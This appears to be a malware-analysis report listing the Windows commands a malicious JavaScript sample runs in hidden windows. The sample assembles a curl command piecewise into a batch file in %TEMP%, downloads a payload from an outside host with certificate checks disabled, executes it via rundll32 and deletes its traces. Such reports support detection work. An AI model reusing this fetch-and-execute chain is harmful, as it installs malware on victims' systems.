Technical Information
- %TEMP%\quisquam.j.bat
- 'ss#.com':80
- http://www.ss#.com/repository/SSLcomRootCertificationAuthorityRSA.crt
- DNS ASK ss#.com
- '<SYSTEM32>\cmd.exe' /c del "<PATH_SAMPLE>.js"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo|set /p="cu" > "%TEMP%\quisquam.j.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo rl "https://kelsoret.com/KZY/236693601" --output "%TEMP%\eos.m" --ssl-no-revoke --insecure --location >> "%TEMP%\quisquam.j.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\quisquam.j.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c del "%TEMP%\quisquam.j.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ren "%TEMP%\eos.m" non.s' (with hidden window)
- '<SYSTEM32>\rundll32.exe' "%TEMP%\non.s" Enter' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c del "<PATH_SAMPLE>.js"
- '<SYSTEM32>\cmd.exe' /c echo|set /p="cu" > "%TEMP%\quisquam.j.bat"
- '<SYSTEM32>\cmd.exe' /S /D /c" echo"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="cu" 1>"%TEMP%\quisquam.j.bat""
- '<SYSTEM32>\cmd.exe' /c echo rl "https://kelsoret.com/KZY/236693601" --output "%TEMP%\eos.m" --ssl-no-revoke --insecure --location >> "%TEMP%\quisquam.j.bat"
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\quisquam.j.bat"
- '<SYSTEM32>\cmd.exe' /c del "%TEMP%\quisquam.j.bat"
- '<SYSTEM32>\cmd.exe' /c ren "%TEMP%\eos.m" non.s
- '<SYSTEM32>\rundll32.exe' "%TEMP%\non.s" Enter